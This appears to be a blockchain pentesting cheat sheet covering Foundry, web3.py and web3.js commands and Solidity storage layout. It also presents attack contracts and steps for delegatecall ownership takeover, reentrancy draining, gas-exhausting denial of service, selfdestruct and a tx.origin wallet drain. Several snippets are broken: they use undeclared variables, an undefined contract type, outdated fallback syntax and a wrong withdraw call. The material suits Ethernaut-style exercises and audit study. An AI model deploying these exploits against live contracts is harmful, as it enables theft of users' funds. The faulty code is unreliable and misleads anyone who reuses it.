Blockchain Pentesting

A type of Digital Ledger Technology (DLT) that consists of growing list of records, called blocks, that are securely linked together using cryptography.

Interact with Ethereum using Foundry

Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.

Please refer to the Foundry's repository for details.
To install foundryup, run the following command to install foundry toolchain.

curl -L https://foundry.paradigm.xyz | bash
foundryup

We can set the environment variable for Ethereum RPC URL to interact the Ethereum blockchain so that we don’t need to set the RPC url flag when running each command.

export ETH_RPC_URL="http://10.0.0.1:12345/path/to/rpc"


cast command of Foundry performs Ethereum RPC calls.

# Get the Ethereum chain id
cast chain-id
# Get the symbolic name of the current chain
cast chain
# Get the current client version
cast client

# Get the current gas price
cast gas-price

# Get the latest block number
cast block-number
# Get information about a block
cast block


# Get the balance of an account in wei
cast balance <account_address or ens_name>
cast balance 0x123...
cast balance beer.eth


# Get the source code of a contract from Etherscan
cast etherscan-source <contract_address>
cast etherscan-source 0x123...


We can interact with the contract that is already deployed in Ethereum chain if we have the private key of the account and the contract address.

# Call the function of the contract
cast send --private-key <private_key_addr> <contract_addr> "exampleFunc(uint256)" <argument_value_of_the_function>
cast send --private-key 0x123... 0xabc... "deposit(uint256)" 10

# Trigger the fallback function
# Call the nonexisting function e.g. "dummy"
cast send --private-key <private_key_addr> <contract_addr> "dummy()"
cast send --private-key 0x123... 0xabc... "dummy()"

# Trigger the receive function
# Send Ether to call the receive function
cast send --private-key <private_key_addr> <contract_addr> --value 10gwei
cast send --private-key 0x123... 0xabc... --value 10gwei

Interact with Ethereum using Python

To use “py-solc”, the Ethereum and Solidity are required in our system. So if you don’t have them yet, install them.

sudo add-apt-repository ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install solc


pip3 install py-solc
pip3 install web3


import solc

with open('MyContract.sol', 'r') as f:
    contract_source_code = f.read()

compiled_sol = solc.compile_source(contract_source_code)

contract_bytecode = compiled_sol['<stdin>:MyContract']['bin']
contract_abi = compiled_sol['<stdin>:MyContract']['abi']


Interact with Ethereum Chain

Create the Python script using web3 to interact with blockchain.

from web3 import Web3

rpc_url = "http://10.0.0.1:8545"
private_key = "0x1234..."
addr = "0x1234..."
contract_addr = "0x1234..."

# Connect
w3 = Web3(Web3.HTTPProvider(rpc_url))
print(w3.is_connected())

# Get the latest block
print(w3.get_block('latest'))

# Get the balance of specified address
balance = w3.eth.get_balance(addr)
print(f"Balance is {balance}")

Compile, Deploy, Run Smart Contract

When we created smart contract, we need to compile it and deploy to Ethereum. There are various way to do that.

Ethereum Remix extension is the VS Code plugin that can perform a variety of tasks such as verifying contracts.

In the left pane, click Explorer tab and open the "REMIX" field at the bottom. Then choose "Run & Deploy" and select "Activate". The "Run & Deploy" window opens.
In Connection field, enter the address and click Connect.

Next, select the file you want to compile, and click Compile.

After compiling, select the contract you want to deploy, then click Deploy.

If deploying the contract successfully, we can see functions of the contract.
Click TRANSACT or CALL at the function you want to.
After that, we can see the output at the bottom.

Solidity Assembly

[Reference]

pragma solidity ^0.8.0;

contract Simple {
    constructor(address _addr) {
        assembly {
            // Get the size of the code
            let size := extcodesize(_addr);
            // Allocate output byte array
            code := mload(0x40);
            // New "memory end" including padding
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))));
            // Store length in memory
            mstore(code, size);
            // Retrieve the code
            extcodecopy(addr, add(code, 0x20), 0, size);
        }
    }
}


pragma solidity ^0.8.0;

contract Opcode {
  constructor() {
        address myContract;
    bytes memory opcode = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";

    assembly {
        myContract := create(0, add(opcode, 0x20), mload(opcode))
    }

    // Some code here...
  }
}

Solidity Contract Address Recovery

[Reference]

This contract can compute the contract address which has been lost.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ContractRecovery {

    constructor(address _creatorAddress) {
        address lostAddress = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(_creatorAddress), bytes1(0x01))))));
        // some code here ...
    }
}

Another way is to use Etherscan transaction history.

Solidity Conversion

[Reference]

When we cast a smaller type to a bigger type, there's no problem. However, when we cast a bigger type to a smaller type, data may be lost partially.

// uint32 -> uint16
uint32 a = 0x12345678;
uint16 b = uint16(a); // 0x5678

// uint16 -> uint32
uint16 a = 0x1234;
uint32 b = uint32(a); // 0x00001234
// bytes2 -> bytes1
bytes2 a = 0x1234;
bytes1 b = bytes1(a); // 0x12

// bytes2 -> bytes4
bytes2 a = 0x1234;
bytes4 b = bytes4(a); // 0x12340000

Solidity Delegatecall Attack

Solidity’s delegatecall is vulnerable to override the storage values in the caller contract.

Reference: https://github.com/Macmod/ethernaut-writeups/blob/master/4-delegation.md

Below is the example contracts from Ethernaut. That uses delegatecall method in the fallback() function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DelegateA {
  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract DelegateB {
    address public owner;
    DelegateA delegateA;

    constructor(address _delegateA) {
        delegateA = Delegate(_delegateA);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegateA).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Call the pwn function by sending transaction because delegatecall exists in fallback function. This changes the owner of the DelegateA contract to msg.sender because the delegatecall overrides the slot value in the callee contract (it's DelegateA). In short, we can become the owner of this contract.

contract.sendTransaction({data: web3.sha3('pwn()').slice(0, 10)})


If the contract is upgradeable using Proxy contract and the slot order is difference, we may be able to manipulate arbitrary slot values with delegatecall.

contract ExampleV1 {
    uint public balance; // <- we can overwrite this from the ExampleV2 contract
}

contract ExampleV2 {
    address public owner; // <- we can overwrite this from the ExampleV1 contract
}

Solidity Denial of Service Attack

We can denial the Solidity execution by consuming all gas using various ways.

The invalid() opcode in in-line assembly consumes all the gas and causes Dos for the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
    address public owner;
    uint public balance;

    function withdrawUser(address _address) {
        (bool success, ) = _address.call{value: balance}("");
        // Some code ...
    }
}

contract Attack {
  Victim target;

  constructor(address _targetAddress) {
    target = Victim(_targetAddress);
    target.withdrawUser(address(this));
  }

  fallback() payable external {
    assembly {
      invalid()
    }
  }
}

Solidity Overflow & Underflow

Solidity is vulnerable to overflow and underflow of uint variables on the version <0.8.

uint8 value = 255;
value++;
// Result: value = 0


uint8 value = 0;
value--;
// Result: value = 255

Solidity Reentrancy Attack

Reentrancy Attack is a typical vulnerability of the Solidity smart contracts involving withdraw and deposit in Solidity.

[Reference]

The Attack contract executes the following:

  1. Attack contract deposits the address itself by invoking the Victim deposit function.
  2. Attack contract calls the Victim withdraw function.
  3. The fallback function of Attack contract is called and withdraw to send Ether to Attack contract.
pragma solidity ^0.8.0;

contract Victim {
    function deposit(address _to) public payable;
    function withdraw(uint _amount) public;
}

contract Attack {
    Victim public victim;

    constructor(address _victimAddress) {
        // Instantiate a victim contract
        victim = Victim(_victimAddress);
    }

    function attack(uint v) external payable {
        // Deposit to this contract (Attack) address
        victim.deposit{value: v}(this);   // victim.deposit.value(v)(this);

        victim.withdraw();
    }

    // Fallback function will be called when `deposit` function of the Victim contract called and send Ether to this contract.
    function() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();
        }
    }
}

After compiling, deploy it and run attack function to get balances of the victim contract.

Solidity Self Destruct Attack

Solidity’s ‘selfdestruct’ function may be used to destruct a target contract and steal the balance by an attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;

contract Attack {
    function attack(address _address) payable public {
        // the remaining Ether sent to _address when destructing
        selfdestruct(_address);
    }
}

Solidity Smart Contract Attack Methodology

When attacking target contract, we can create an attack contract which loads the target contract and abuse it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Define interface for victim contract
interface IVictim {
    // Set the Victim contract functions
    function example1() external;
    function example2(uint) external;
}

// Define Attack contract to compromise the victim contract
contract Attack {
    IVictim public victim;

    constructor(address _victimAddress) {
        // Initialize Victim contract (interface)
        victim = IVictim(_victimAddress);
    }

    // Create a function to be used for attacking the victim contract
    function attack() public {
        victim.example1();
        victim.example2(1);
    }
}

Solidity Storage Values Analysis

[Reference]

Reference: https://tomatosauce.jp/datatype-bytesize/

In Solidity, each data type has the following size:

Type Bytes
bool 1
bytes1 1
bytes8 8
bytes16 16
bytes32 32
address 20
contract 20
uint8/int8 1
uint16/int16 2
uint32/int32 4
uint64/int64 8
uint128/int128 16
uint256/int256 32


Reference: https://coinsbench.com/12-privacy-ethernaut-explained-8ee480f303f2

Below is the Solidity contract example.

The Solidity’s each slot can store data until 32 bytes. For example below, the ‘Slot 2’ stores multiple variables because each value is just 1 byte, which are 2 bytes in total so less than 32 bytes.

contract Example {
    // Slot 0 (1 byte)
    bool public isOk = false;
    // Slot 1 (32 bytes)
    uint public money = 100;
    // Slot 2 (1 byte)
    uint8 private score = 10;
    // Slot 2 (1 byte)
    uint8 private quantity = 5;
    // Slot 3, 4, 5 (32 bytes for each element of array)
    bytes32[3] private data;
}

Using Web3.js, we can get values of the above variables from outside.

// Access slot 0
web3.eth.getStorageAt(contract.address, 0);
// Access slot 1
web3.eth.getStorageAt(contract.address, 1);
// Access slot 2
web3.eth.getStorageAt(contract.address, 2);
// Access slot 3 (data[0])
web3.eth.getStorageAt(contract.address, 3);
// Access slot 4 (data[1])
web3.eth.getStorageAt(contract.address, 4);
// Access stlo 5 (data[2])
web3.eth.getStorageAt(contract.address, 5);

// Proxy storage slot (0x123...)
web3.eth.storageAt(contract.address, "0x123...");

There are methods to see the storage slot values in appropriate format.

const slotValue = await web3.eth.getStorageAt(contract.address, 0);

// for string value
web3.utils.toAscii(slotValue);

Solidity Tx Origin Attack

The Solidity 'tx.origin' should not be used for authorization e.g. when transferring ether to a wallet because tx.origin is the address of EOA (Externallly Owned Account) that the originated the transaction, not the address of caller for the function on the smart contract (this is msg.sender).

[Reference]

Reference: https://docs.soliditylang.org/en/develop/security-considerations.html#tx-origin

// Vulnerable: comparing the contract owner with tx.origin
require(tx.origin == owner)

// Vulnerable: 
require(tx.origin == msg.sender)

For example, the following wallet validates a user with tx.origin == owner. However, this tx.origin is vulnerable because tx.origin is not

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract VulnWallet {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function transferTo(address payable _to, uint amount) public {
        require(tx.origin == owner);
        _to.transfer(amount);
    }
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface VulnWallet {
    function transferTo(address payable _to, uint amount) external;
}

contract AttackWallet {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    receive() external payable {
        VulnWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

Web3.js Cheat Sheet

// Get block
web3.eth.getBlock('latest')


// Wei to Ether
web3.utils.fromWei('1000000000000000000', 'ether')
// "1"

// Ether to Wei
web3.utils.toWei('0.001')
// "1000000000000000"


// Initialize a contract
const tokenAbi = [...]; // JSON interface
const tokenAddress = '0x1234...';
const contract = new web3.eth.Contract(tokenAbi, tokenAddress);


// Send ether to the contract with interacting ABI
contract.example({value: web3.utils.toWei('0.001')})

// Send ether to the contract from outside
contract.sendTransaction({value: toWei('0.0001')})

// Send ether to the contract from outside using `call` function to invoke fallback
(bool success,) = payable(_victim_contract_address).call{value: '1.0'}("");

// Send etehr to the contract from outside by invoking specific function
contract.exampleFunc{value: msg.value}(address(this))


// the second arguement is the index of the storage.
web3.eth.getStorageAt(contract.address, 0)
web3.eth.getStorageAt(contract.address, 1)


We can retrieve a function signature with encodeFunctionSignature. We can also use it to invoke the contract function via sendTransaction.

const example = web3.eth.abi.encodeFunctionSignature("example()")

// We can invoke the function using this signature
await web3.eth.sendTransaction({from: userAddress, to: contractAddress, data: example})


const myAddress = "0x123...";
const functionSignature = {
  name: 'exampleFunc',
  type: 'function',
  inputs: [{type: 'address', name: '_address'}]
}
const params = [myAddress]

const funcData = web3.eth.abi.encodeFunctionCall(functionSignature, params)

// Execute the function
await web3.eth.sendTransaction({from: myAddress, to: contract.address, funcData})


// Set a gas value
contract.exampleFunc{gas: 100000}()